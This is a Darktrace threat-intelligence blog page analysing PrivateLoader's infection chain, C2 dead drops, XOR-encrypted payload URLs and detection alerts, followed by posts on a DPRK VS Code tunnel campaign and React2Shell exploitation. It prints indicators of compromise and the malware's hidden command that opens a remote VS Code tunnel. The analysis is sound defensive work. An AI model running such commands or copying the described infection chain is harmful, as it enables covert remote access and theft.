Blog
/
Network
/
July 26, 2022

Identifying PrivateLoader Network Threats

Learn how Darktrace identifies network-based indicators of compromise for the PrivateLoader malware. Gain insights into advanced threat detection.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Sam Lister
Specialist Security Researcher
Written by
Shuh Chin Goh
Default blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog image
26
Jul 2022

Instead of delivering their malicious payloads themselves, threat actors can pay certain cybercriminals (known as pay-per-install (PPI) providers) to deliver their payloads for them. Since January 2022, Darktrace’s SOC has observed several cases of PPI providers delivering their clients’ payloads using a modular malware downloader known as ‘PrivateLoader’.

This blog will explore how these PPI providers installed PrivateLoader onto systems and outline the steps which the infected PrivateLoader bots took to install further malicious payloads. The details provided here are intended to provide insight into the operations of PrivateLoader and to assist security teams in identifying PrivateLoader bots within their own networks.  

Threat Summary 

Between January and June 2022, Darktrace identified the following sequence of network behaviours within the environments of several Darktrace clients. Patterns of activity involving these steps are paradigmatic examples of PrivateLoader activity:

1. A victim’s device is redirected to a page which instructs them to download a password-protected archive file from a file storage service — typically Discord Content Delivery Network (CDN)

2. The device contacts a file storage service (typically Discord CDN) via SSL connections

3. The device either contacts Pastebin via SSL connections, makes an HTTP GET request with the URI string ‘/server.txt’ or ‘server_p.txt’ to 45.144.225[.]57, or makes an HTTP GET request with the URI string ‘/proxies.txt’ to 212.193.30[.]45

4. The device makes an HTTP GET request with the URI string ‘/base/api/statistics.php’ to either 212.193.30[.]21, 85.202.169[.]116, 2.56.56[.]126 or 2.56.59[.]42

5. The device contacts a file storage service (typically Discord CDN) via SSL connections

6. The device makes a HTTP POST request with the URI string ‘/base/api/getData.php’ to either 212.193.30[.]21, 85.202.169[.]116, 2.56.56[.]126 or 2.56.59[.]42

7. The device finally downloads malicious payloads from a variety of endpoints

The PPI Business 

Before exploring PrivateLoader in more detail, the pay-per-install (PPI) business should be contextualized. This consists of two parties:  

1. PPI clients - actors who want their malicious payloads to be installed onto a large number of target systems. PPI clients are typically entry-level threat actors who seek to widely distribute commodity malware [1]

2. PPI providers - actors who PPI clients can pay to install their malicious payloads 

As the smugglers of the cybercriminal world, PPI providers typically advertise their malware delivery services on underground web forums. In some cases, PPI services can even be accessed via Clearnet websites such as InstallBest and InstallShop [2] (Figure 1).  

Figure 1: A snapshot of the InstallBest PPI login page [2]


To utilize a PPI provider’s service, a PPI client must typically specify: 

(A)  the URLs of the payloads which they want to be installed

(B)  the number of systems onto which they want their payloads to be installed

(C)  their geographical targeting preferences. 

Payment of course, is also required. To fulfil their clients’ requests, PPI providers typically make use of downloaders - malware which instructs the devices on which it is running to download and execute further payloads. PPI providers seek to install their downloaders onto as many systems as possible. Follow-on payloads are usually determined by system information garnered and relayed back to the PPI providers’ command and control (C2) infrastructure. PPI providers may disseminate their downloaders themselves, or they may outsource the dissemination to third parties called ‘affiliates’ [3].  

Back in May 2021, Intel 471 researchers became aware of PPI providers using a novel downloader (dubbed ‘PrivateLoader’) to conduct their operations. Since Intel 471’s public disclosure of the downloader back in Feb 2022 [4], several other threat research teams, such as the Walmart Cyber Intel Team [5], Zscaler ThreatLabz [6], and Trend Micro Research [7] have all provided valuable insights into the downloader’s behaviour. 

Anatomy of a PrivateLoader Infection

The PrivateLoader downloader, which is written in C++, was originally monolithic (i.e, consisted of only one module). At some point, however, the downloader became modular (i.e, consisting of multiple modules). The modules communicate via HTTP and employ various anti-analysis methods. PrivateLoader currently consists of the following three modules [8]: 

  • The loader module: Instructs the system on which it is running to retrieve the IP address of the main C2 server and to download and execute the PrivateLoader core module
  • The core module: Instructs the system on which it is running to send system information to the main C2 server, to download and execute further malicious payloads, and to relay information regarding installed payloads back to the main C2 server
  • The service module: Instructs the system on which it is running to keep the PrivateLoader modules running

Kill Chain Deep-Dive 

The chain of activity starts with the user’s browser being redirected to a webpage which instructs them to download a password-protected archive file from a file storage service such as Discord CDN. Discord is a popular VoIP and instant messaging service, and Discord CDN is the service’s CDN infrastructure. In several cases, the webpages to which users’ browsers were redirected were hosted on ‘hero-files[.]com’ (Figure 2), ‘qd-files[.]com’, and ‘pu-file[.]com’ (Figure 3). 

Figure 2: An image of a page hosted on hero-files[.]com - an endpoint which Darktrace observed systems contacting before downloading PrivateLoader from Discord CDN
Figure 3: An image of a page hosted on pu-file[.]com- an endpoint which Darktrace observed systems contacting before downloading PrivateLoader from Discord CDN


On attempting to download cracked/pirated software, users’ browsers were typically redirected to download instruction pages. In one case however, a user’s device showed signs of being infected with the malicious Chrome extension, ChromeBack [9], immediately before it contacted a webpage providing download instructions (Figure 4). This may suggest that cracked software downloads are not the only cause of users’ browsers being redirected to these download instruction pages (Figure 5). 

Figure 4: The event log for this device (taken from the Darktrace Threat Visualiser interface) shows that the device contacted endpoints associated with ChromeBack ('freychang[.]fun') prior to visiting a page ('qd-file[.]com') which instructed the device’s user to download an archive file from Discord CDN
 Figure 5: An image of the website 'crackright[.]com'- a provider of cracked software. Systems which attempted to download software from this website were subsequently led to pages providing instructions to download a password-protected archive from Discord CDN


After users’ devices were redirected to pages instructing them to download a password-protected archive, they subsequently contacted cdn.discordapp[.]com over SSL. The archive files which users downloaded over these SSL connections likely contained the PrivateLoader loader module. Immediately after contacting the file storage endpoint, users’ devices were observed either contacting Pastebin over SSL, making an HTTP GET request with the URI string ‘/server.txt’ or ‘server_p.txt’ to 45.144.225[.]57, or making an HTTP GET request with the URI string ‘/proxies.txt’ to 212.193.30[.]45 (Figure 6).

Distinctive user-agent strings such as those containing question marks (e.g. ‘????ll’) and strings referencing outdated Chrome browser versions were consistently seen in these HTTP requests. The following chrome agent was repeatedly observed: ‘Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36’.

In some cases, devices also displayed signs of infection with other strains of malware such as the RedLine infostealer and the BeamWinHTTP malware downloader. This may suggest that the password-protected archives embedded several payloads.

Figure 6: This figure, obtained from Darktrace's Advanced Search interface, represents the post-infection behaviour displayed by a PrivateLoader bot. After visiting hero-files[.]com and downloading the PrivateLoader loader module from Discord CDN, the device can be seen making HTTP GET requests for ‘/proxies.txt’ and ‘/server.txt’ and contacting pastebin[.]com

It seems that PrivateLoader bots contact Pastebin, 45.144.225[.]57, and 212.193.30[.]45 in order to retrieve the IP address of PrivateLoader’s main C2 server - the server which provides PrivateLoader bots with payload URLs. This technique used by the operators of PrivateLoader closely mirrors the well-known espionage tactic known as ‘dead drop’.

The dead drop is a method of espionage tradecraft in which an individual leaves a physical object such as papers, cash, or weapons in an agreed hiding spot so that the intended recipient can retrieve the object later on without having to come in to contact with the source. When threat actors host information about core C2 infrastructure on intermediary endpoints, the hosted information is analogously called a ‘Dead Drop Resolver’ or ‘DDR’. Example URLs of DDRs used by PrivateLoader:

  • https://pastebin[.]com/...
  • http://212.193.30[.]45/proxies.txt
  • http://45.144.225[.]57/server.txt
  • http://45.144.255[.]57/server_p.txt

The ‘proxies.txt’ DDR hosted on 212.193.40[.]45 contains a list of 132 IP address / port pairs. The 119th line of this list includes a scrambled version of the IP address of PrivateLoader’s main C2 server (Figures 7 & 8). Prior to June, it seems that the main C2 IP address was ‘212.193.30[.]21’, however, the IP address appears to have recently changed to ‘85.202.169[.]116’. In a limited set of cases, Darktrace also observed PrivateLoader bots retrieving payload URLs from 2.56.56[.]126 and 2.56.59[.]42 (rather than from 212.193.30[.]21 or 85.202.169[.]116). These IP addresses may be hardcoded secondary C2 address which PrivateLoader bots use in cases where they are unable to retrieve the primary C2 address from Pastebin, 212.193.30[.]45 or 45.144.255[.]57 [10]. 

Figure 7: Before June, the 119th entry of the ‘proxies.txt’ file lists '30.212.21.193' -  a scrambling of the ‘212.193.30[.]21’ main C2 IP address
Figure 8: Since June, the 119th entry of the ‘proxies.txt’ file lists '169.85.116.202' - a scrambling of the '85.202.169[.]116' main C2 IP address

Once PrivateLoader bots had retrieved C2 information from either Pastebin, 45.144.225[.]57, or 212.193.30[.]45, they went on to make HTTP GET requests for ‘/base/api/statistics.php’ to either 212.193.30[.]21, 85.202.169[.]116, 2.56.56[.]126, or 2.56.59[.]42 (Figure 9). The server responded to these requests with an XOR encrypted string. The strings were encrypted using a 1-byte key [11], such as 0001101 (Figure 10). Decrypting the string revealed a URL for a BMP file hosted on Discord CDN, such as ‘hxxps://cdn.discordapp[.]com/attachments/978284851323088960/986671030670078012/PL_Client.bmp’. These encrypted URLs appear to be file download paths for the PrivateLoader core module. 

Figure 9: HTTP response from server to an HTTP GET request for '/base/api/statistics.php'
Figure 10: XOR decrypting the string with the one-byte key, 00011101, outputs a URL in CyberChef

After PrivateLoader bots retrieved the 'cdn.discordapp[.]com’ URL from 212.193.30[.]21, 85.202.169[.]116, 2.56.56[.]126, or 2.56.59[.]42, they immediately contacted Discord CDN via SSL connections in order to obtain the PrivateLoader core module. Execution of this module resulted in the bots making HTTP POST requests (with the URI string ‘/base/api/getData.php’) to the main C2 address (Figures 11 & 12). Both the data which the PrivateLoader bots sent over these HTTP POST requests and the data returned via the C2 server’s HTTP responses were heavily encrypted using a combination of password-based key derivation, base64 encoding, AES encryption, and HMAC validation [12]. 

Figure 11: The above image, taken from Darktrace's Advanced Search interface, shows a PrivateLoader bot carrying out the following steps: contact ‘hero-files[.]com’ --> contact ‘cdn.discordapp[.]com’ --> retrieve ‘/proxies.txt’ from 212.193.30[.]45 --> retrieve ‘/base/api/statistics.php’ from 212.193.30[.]21 --> contact ‘cdn.discordapp[.]com --> make HTTP POST request with the URI ‘base/api/getData.php’ to 212.193.30[.]21
Figure 12: A PCAP of the data sent via the HTTP POST (in red), and the data returned by the C2 endpoint (in blue)

These ‘/base/api/getData.php’ POST requests contain a command, a campaign name and a JSON object. The response may either contain a simple status message (such as “success”) or a JSON object containing URLs of payloads. After making these HTTP connections, PrivateLoader bots were observed downloading and executing large volumes of payloads (Figure 13), ranging from crypto-miners to infostealers (such as Mars stealer), and even to other malware downloaders (such as SmokeLoader). In some cases, bots were also seen downloading files with ‘.bmp’ extensions, such as ‘Service.bmp’, ‘Cube_WW14.bmp’, and ‘NiceProcessX64.bmp’, from 45.144.225[.]57 - the same DDR endpoint from which PrivateLoader bots retrieved main C2 information. These ‘.bmp’ payloads are likely related to the PrivateLoader service module [13]. Certain bots made follow-up HTTP POST requests (with the URI string ‘/service/communication.php’) to either 212.193.30[.]21 or 85.202.169[.]116, indicating the presence of the PrivateLoader service module, which has the purpose of establishing persistence on the device (Figure 14). 

Figure 13: The above image, taken from Darktrace's Advanced Search interface, outlines the plethora of malware payloads downloaded by a PrivateLoader bot after it made an HTTP POST request to the ‘/base/api/getData.php’ endpoint. The PrivateLoader service module is highlighted in red
Figure 14: The event log for a PrivateLoader bot, obtained from the Threat Visualiser interface, shows a device making HTTP POST requests to ‘/service/communication.php’ and connecting to the NanoPool mining pool, indicating successful execution of downloaded payloads

In several observed cases, PrivateLoader bots downloaded another malware downloader called ‘SmokeLoader’ (payloads named ‘toolspab2.exe’ and ‘toolspab3.exe’) from “Privacy Tools” endpoints [14], such as ‘privacy-tools-for-you-802[.]com’ and ‘privacy-tools-for-you-783[.]com’. These “Privacy Tools” domains are likely impersonation attempts of the legitimate ‘privacytools[.]io’ website - a website run by volunteers who advocate for data privacy [15]. 

After downloading and executing malicious payloads, PrivateLoader bots were typically seen contacting crypto-mining pools, such as NanoPool, and making HTTP POST requests to external hosts associated with SmokeLoader, such as hosts named ‘host-data-coin-11[.]com’ and ‘file-coin-host-12[.]com’ [16]. In one case, a PrivateLoader bot went on to exfiltrate data over HTTP to an external host named ‘cheapf[.]link’, which was registered on the 14th March 2022 [17]. The name of the file which the PrivateLoader bot used to exfiltrate data was ‘NOP8QIMGV3W47Y.zip’, indicating information stealing activities by Mars Stealer (Figure 15) [18]. By saving the HTTP stream as raw data and utilizing a hex editor to remove the HTTP header portions, the hex data of the ZIP file was obtained. Saving the hex data using a ‘.zip’ extension and extracting the contents, a file directory consisting of system information and Chrome and Edge browsers’ Autofill data in cleartext .txt file format could be seen (Figure 16).

Figure 15: A PCAP of a PrivateLoader bot’s HTTP POST request to cheapf[.]link, with data sent by the bot appearing to include Chrome and Edge autofill data, as well as system information
Figure 16: File directory structure and files of the ZIP archive 

When left unattended, PrivateLoader bots continued to contact C2 infrastructure in order to relay details of executed payloads and to retrieve URLs of further payloads. 

Figure 17: Timeline of the attack

Darktrace Coverage 

Most of the incidents surveyed for this article belonged to prospective customers who were trialling Darktrace with RESPOND in passive mode, and thus without the ability for autonomous intervention. However in all observed cases, Darktrace DETECT was able to provide visibility into the actions taken by PrivateLoader bots. In one case, despite the infected bot being disconnected from the client’s network, Darktrace was still able to provide visibility into the device’s network behaviour due to the client’s usage of Darktrace/Endpoint. 

If a system within an organization’s network becomes infected with PrivateLoader, it will display a range of anomalous network behaviours before it downloads and executes malicious payloads. For example, it will contact Pastebin or make HTTP requests with new and unusual user-agent strings to rare external endpoints. These network behaviours will generate some of the following alerts on the Darktrace UI:

  • Compliance / Pastebin 
  • Device / New User Agent and New IP
  • Device / New User Agent
  • Device / Three or More New User Agents
  • Anomalous Connection / New User Agent to IP Without Hostname
  • Anomalous Connection / POST to PHP on New External Host
  • Anomalous Connection / Posting HTTP to IP Without Hostname

Once the infected host obtains URLs for malware payloads from a C2 endpoint, it will likely start to download and execute large volumes of malicious files. These file downloads will usually cause Darktrace to generate some of the following alerts:

  • Anomalous File / EXE from Rare External Location
  • Anomalous File / Numeric Exe Download
  • Anomalous File / Masqueraded File Transfer
  • Anomalous File / Multiple EXE from Rare External Locations
  • Device / Initial Breach Chain Compromise

If RESPOND is deployed in active mode, Darktrace will be able to autonomously block the download of additional malware payloads onto the target machine and the subsequent beaconing or crypto-mining activities through network inhibitors such as ‘Block matching connections’, ‘Enforce pattern of life’ and ‘Block all outgoing traffic’. The ‘Enforce pattern of life’ action results in a device only being able to make connections and data transfers which Darktrace considers normal for that device. The ‘Block all outgoing traffic’ action will cause all traffic originating from the device to be blocked. If the customer has Darktrace’s Proactive Threat Notification (PTN) service, then a breach of an Enhanced Monitoring model such as ‘Device / Initial Breach Chain Compromise’ will result in a Darktrace SOC analyst proactively notifying the customer of the suspicious activity. Below is a list of Darktrace RESPOND (Antigena) models which would be expected to breach due to PrivateLoader activity. Such models can seriously hamper attempts made by PrivateLoader bots to download malicious payloads. 

  • Antigena / Network / External Threat / Antigena Suspicious File Block
  • Antigena / Network / Significant Anomaly / Antigena Controlled and Model Breach
  • Antigena / Network / External Threat / Antigena File then New Outbound Block
  • Antigena / Network / Significant Anomaly / Antigena Significant Anomaly from Client Block 
  • Antigena / Network / Significant Anomaly / Antigena Breaches Over Time Block

In one observed case, the infected bot began to download malicious payloads within one minute of becoming infected with PrivateLoader. Since RESPOND was correctly configured, it was able to immediately intervene by autonomously enforcing the device’s pattern of life for 2 hours and blocking all of the device’s outgoing traffic for 10 minutes (Figure 17). When malware moves at such a fast pace, the availability of autonomous response technology, which can respond immediately to detected threats, is key for the prevention of further damage.  

Figure 18: The event log for a Darktrace RESPOND (Antigena) model breach shows Darktrace RESPOND performing inhibitive actions once the PrivateLoader bot begins to download payloads

Conclusion

By investigating PrivateLoader infections over the past couple of months, Darktrace has observed PrivateLoader operators making changes to the downloader’s main C2 IP address and to the user-agent strings which the downloader uses in its C2 communications. It is relatively easy for the operators of PrivateLoader to change these superficial network-based features of the malware in order to evade detection [19]. However, once a system becomes infected with PrivateLoader, it will inevitably start to display anomalous patterns of network behaviour characteristic of the Tactics, Techniques and Procedures (TTPs) discussed in this blog.

Throughout 2022, Darktrace observed overlapping patterns of network activity within the environments of several customers, which reveal the archetypal steps of a PrivateLoader infection. Despite the changes made to PrivateLoader’s network-based features, Darktrace’s Self-Learning AI was able to continually identify infected bots, detecting every stage of an infection without relying on known indicators of compromise. When configured, RESPOND was able to immediately respond to such infections, preventing further advancement in the cyber kill chain and ultimately preventing the delivery of floods of payloads onto infected devices.

IoCs

MITRE ATT&CK Techniques Observed

References

[1], [8],[13] https://www.youtube.com/watch?v=Ldp7eESQotM  

[2] https://news.sophos.com/en-us/2021/09/01/fake-pirated-software-sites-serve-up-malware-droppers-as-a-service/

[3] https://www.researchgate.net/publication/228873118_Measuring_Pay-per Install_The_Commoditization_of_Malware_Distribution 

[4], [15] https://intel471.com/blog/privateloader-malware

[5] https://medium.com/walmartglobaltech/privateloader-to-anubis-loader-55d066a2653e 

[6], [10],[11], [12] https://www.zscaler.com/blogs/security-research/peeking-privateloader 

[7] https://www.trendmicro.com/en_us/research/22/e/netdooka-framework-distributed-via-privateloader-ppi.html

[9] https://www.gosecure.net/blog/2022/02/10/malicious-chrome-browser-extension-exposed-chromeback-leverages-silent-extension-loading/

[14] https://www.proofpoint.com/us/blog/threat-insight/malware-masquerades-privacy-tool 

[16] https://asec.ahnlab.com/en/30513/ 

[17]https://twitter.com/0xrb/status/1515956690642161669

[18] https://isc.sans.edu/forums/diary/Arkei+Variants+From+Vidar+to+Mars+Stealer/28468

[19] http://detect-respond.blogspot.com/2013/03/the-pyramid-of-pain.html

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Sam Lister
Specialist Security Researcher
Written by
Shuh Chin Goh

More in this series

No items found.

Blog

/

Network

/

January 22, 2026

Darktrace Identifies Campaign Targeting South Korea Leveraging VS Code for Remote Access

campaign targeting south orea leveraging vs code for remote accessDefault blog imageDefault blog image

Introduction

Darktrace analysts recently identified a campaign aligned with Democratic People’s Republic of Korea (DPRK) activity that targets users in South Korea, leveraging Javascript Encoded (JSE) scripts and government-themed decoy documents to deploy a Visual Studio Code (VS Code) tunnel to establish remote access.

Technical analysis

Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.
Figure 1: Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.

The sample observed in this campaign is a JSE file disguised as a Hangul Word Processor (HWPX) document, likely sent to targets via a spear-phishing email. The JSE file contains multiple Base64-encoded blobs and is executed by Windows Script Host. The HWPX file is titled “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026 (1)” in C:\ProgramData and is opened as a decoy. The Hangul documents impersonate the Ministry of Personnel Management, a South Korean government agency responsible for managing the civil service. Based on the metadata within the documents, the threat actors appear to have taken the documents from the government’s website and edited them to appear legitimate.

Base64 encoded blob.
Figure 2: Base64 encoded blob.

The script then downloads the VSCode CLI ZIP archives from Microsoft into C:\ProgramData, along with code.exe (the legitimate VS Code executable) and a file named out.txt.

In a hidden window, the command cmd.exe /c echo | "C:\ProgramData\code.exe" tunnel --name bizeugene > "C:\ProgramData\out.txt" 2>&1 is run, establishinga VS Code tunnel named “bizeugene”.

VSCode Tunnel setup.
Figure 3: VSCode Tunnel setup.

VS Code tunnels allows users connect to a remote computer and use Visual Studio Code. The remote computer runs a VS Code server that creates an encrypted connection to Microsoft’s tunnel service. A user can then connect to that machine from another device using the VS Code application or a web browser after signing in with GitHub or Microsoft. Abuse of VS Code tunnels was first identified in 2023 and has since been used by Chinese Advance Persistent Threat (APT) groups targeting digital infrastructure and government entities in Southeast Asia [1].

 Contents of out.txt.
Figure 4: Contents of out.txt.

The file “out.txt” contains VS Code Server logs along with a generated GitHub device code. Once the threat actor authorizes the tunnel from their GitHub account, the compromised system is connected via VS Code. This allows the threat actor to have interactive access over the system, with access to the VS Code’s terminal and file browser, enabling them to retrieve payloads and exfiltrate data.

GitHub screenshot after connection is authorized.
Figure 5: GitHub screenshot after connection is authorized.

This code, along with the tunnel token “bizeugene”, is sent in a POST request to https://www.yespp.co.kr/common/include/code/out.php, a legitimate South Korean site that has been compromised is now used as a command-and-control (C2) server.

Conclusion

The use of Hancom document formats, DPRK government impersonation, prolonged remote access, and the victim targeting observed in this campaign are consistent with operational patterns previously attributed to DPRK-aligned threat actors. While definitive attribution cannot be made based on this sample alone, the alignment with established DPRK tactics, techniques, and procedures (TTPs) increases confidence that this activity originates from a DPRK state-aligned threat actor.

This activity shows how threat actors can use legitimate software rather than custom malware to maintain access to compromised systems. By using VS Code tunnels, attackers are able to communicate through trusted Microsoft infrastructure instead of dedicated C2 servers. The use of widely trusted applications makes detection more difficult, particularly in environments where developer tools are commonly installed. Traditional security controls that focus on blocking known malware may not identify this type of activity, as the tools themselves are not inherently malicious and are often signed by legitimate vendors.

Credit to Tara Gould (Malware Research Lead)
Edited by Ryan Traill (Analyst Content Lead)

Appendix

Indicators of Compromise (IoCs)

115.68.110.73 - compromised site IP

9fe43e08c8f446554340f972dac8a68c - 2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류 (1).hwpx.jse

MITRE ATTACK

T1566.001 - Phishing: Attachment

T1059 - Command and Scripting Interpreter

T1204.002 - User Execution

T1027 - Obfuscated Files and Information

T1218 - Signed Binary Proxy Execution

T1105 - Ingress Tool Transfer

T1090 - Proxy

T1041 - Exfiltration Over C2 Channel

References

[1]  https://unit42.paloaltonetworks.com/stately-taurus-abuses-vscode-southeast-asian-espionage/

Continue reading
About the author

Blog

/

/

January 19, 2026

React2Shell Reflections: Cloud Insights, Finance Sector Impacts, and How Threat Actors Moved So Quickly

React2Shell Default blog imageDefault blog image

Introduction

Last month’s disclosure of CVE 2025-55812, known as React2Shell, provided a reminder of how quickly modern threat actors can operationalize newly disclosed vulnerabilities, particularly in cloud-hosted environments.

The vulnerability was discovered on December 3, 2025, with a patch made available on the same day. Within 30 hours of the patch, a publicly available proof-of-concept emerged that could be used to exploit any vulnerable server. This short timeline meant many systems remained unpatched when attackers began actively exploiting the vulnerability.  

Darktrace researchers rapidly deployed a new honeypot to monitor exploitation of CVE 2025-55812 in the wild.

Within two minutes of deployment, Darktrace observed opportunistic attackers exploiting this unauthenticated remote code execution flaw in React Server Components, leveraging a single crafted request to gain control of exposed Next.js servers. Exploitation quickly progressed from reconnaissance to scripted payload delivery, HTTP beaconing, and cryptomining, underscoring how automation and pre‑positioned infrastructure by threat actors now compress the window between disclosure and active exploitation to mere hours.

For cloud‑native organizations, particularly those in the financial sector, where Darktrace observed the greatest impact, React2Shell highlights the growing disconnect between patch availability and attacker timelines, increasing the likelihood that even short delays in remediation can result in real‑world compromise.

Cloud insights

In contrast to traditional enterprise networks built around layered controls, cloud architectures are often intentionally internet-accessible by default. When vulnerabilities emerge in common application frameworks such as React and Next.js, attackers face minimal friction.  No phishing campaign, no credential theft, and no lateral movement are required; only an exposed service and exploitable condition.

The activity Darktrace observed during the React2shell intrusions reflects techniques that are familiar yet highly effective in cloud-based attacks. Attackers quickly pivot from an exposed internet-facing application to abusing the underlying cloud infrastructure, using automated exploitation to deploy secondary payloads at scale and ultimately act on their objectives, whether monetizing access through cryptomining or to burying themselves deeper in the environment for sustained persistence.

Cloud Case Study

In one incident, opportunistic attackers rapidly exploited an internet-facing Azure virtual machine (VM) running a Next.js application, abusing the React/next.js vulnerability to gain remote command execution within hours of the service becoming exposed. The compromise resulted in the staged deployment of a Go-based remote access trojan (RAT), followed by a series of cryptomining payloads such as XMrig.

Initial Access

Initial access appears to have originated from abused virtual private network (VPN) infrastructure, with the source IP (146.70.192[.]180) later identified as being associated with Surfshark

The IP address above is associated with VPN abuse leveraged for initial exploitation via Surfshark infrastructure.
Figure 1: The IP address above is associated with VPN abuse leveraged for initial exploitation via Surfshark infrastructure.

The use of commercial VPN exit nodes reflects a wider trend of opportunistic attackers leveraging low‑cost infrastructure to gain rapid, anonymous access.

Parent process telemetry later confirmed execution originated from the Next.js server, strongly indicating application-layer compromise rather than SSH brute force, misused credentials, or management-plane abuse.

Payload execution

Shortly after successful exploitation, Darktrace identified a suspicious file and subsequent execution. One of the first payloads retrieved was a binary masquerading as “vim”, a naming convention commonly used to evade casual inspection in Linux environments. This directly ties the payload execution to the compromised Next.js application process, reinforcing the hypothesis of exploit-driven access.

Command-and-Control (C2)

Network flow logs revealed outbound connections back to the same external IP involved in the inbound activity. From a defensive perspective, this pattern is significant as web servers typically receive inbound requests, and any persistent outbound callbacks — especially to the same IP — indicate likely post-exploitation control. In this case, a C2 detection model alert was raised approximately 90 minutes after the first indicators, reflecting the time required for sufficient behavioral evidence to confirm beaconing rather than benign application traffic.

Cryptominers deployment and re-exploitation

Following successful command execution within the compromised Next.js workload, the attackers rapidly transitioned to monetization by deploying cryptomining payloads. Microsoft Defender observed a shell command designed to fetch and execute a binary named “x” via either curl or wget, ensuring successful delivery regardless of which tooling was availability on the Azure VM.

The binary was written to /home/wasiluser/dashboard/x and subsequently executed, with open-source intelligence (OSINT) enrichment strongly suggesting it was a cryptominer consistent with XMRig‑style tooling. Later the same day, additional activity revealed the host downloading a static XMRig binary directly from GitHub and placing it in a hidden cache directory (/home/wasiluser/.cache/.sys/).

The use of trusted infrastructure and legitimate open‑source tooling indicates an opportunistic approach focused on reliability and speed. The repeated deployment of cryptominers strongly suggests re‑exploitation of the same vulnerable web application rather than reliance on traditional persistence mechanisms. This behavior is characteristic of cloud‑focused attacks, where publicly exposed workloads can be repeatedly compromised at scale more easily.

Financial sector spotlight

During the mass exploitation of React2Shell, Darktrace observed targeting by likely North Korean affiliated actors focused on financial organizations in the United Kingdom, Sweden, Spain, Portugal, Nigeria, Kenya, Qatar, and Chile.

The targeting of the financial sector is not unexpected, but the emergence of new Democratic People’s Republic of Korea (DPRK) tooling, including a Beavertail variant and EtherRat, a previously undocumented Linux implant, highlights the need for updated rules and signatures for organizations that rely on them.

EtherRAT uses Ethereum smart contracts for C2 resolution, polling every 500 milliseconds and employing five persistence mechanisms. It downloads its own Node.js runtime from nodejs[.]org and queries nine Ethereum RPC endpoints in parallel, selecting the majority response to determine its C2 URL. EtherRAT also overlaps with the Contagious Interview campaign, which has targeted blockchain developers since early 2025.

Read more finance‑sector insights in Darktrace’s white paper, The State of Cyber Security in the Finance Sector.

Threat actor behavior and speed

Darktrace’s honeypot was exploited just two minutes after coming online, demonstrating how automated scanning, pre-positioned infrastructure and staging, and C2 infrastructure traced back to “bulletproof” hosting reflects a mature, well‑resourced operational chain.

For financial organizations, particularly those operating cloud‑native platforms, digital asset services, or internet‑facing APIs, this activity demonstrates how rapidly geopolitical threat actors can weaponize newly disclosed vulnerabilities, turning short patching delays into strategic opportunities for long‑term access and financial gain. This underscores the need for a behavioral-anomaly-led security posture.

Credit to Nathaniel Jones (VP, Security & AI Strategy, Field CISO) and Mark Turner (Specialist Security Researcher)

Edited by Ryan Traill (Analyst Content Lead)

Appendices

Indicators of Compromise (IoCs)

146.70.192[.]180 – IP Address – Endpoint Associated with Surfshark

References

https://www.darktrace.com/resources/the-state-of-cybersecurity-in-the-finance-sector

Continue reading
About the author
Nathaniel Jones
VP, Security & AI Strategy, Field CISO
Your data. Our AI.
Elevate your network security with Darktrace AI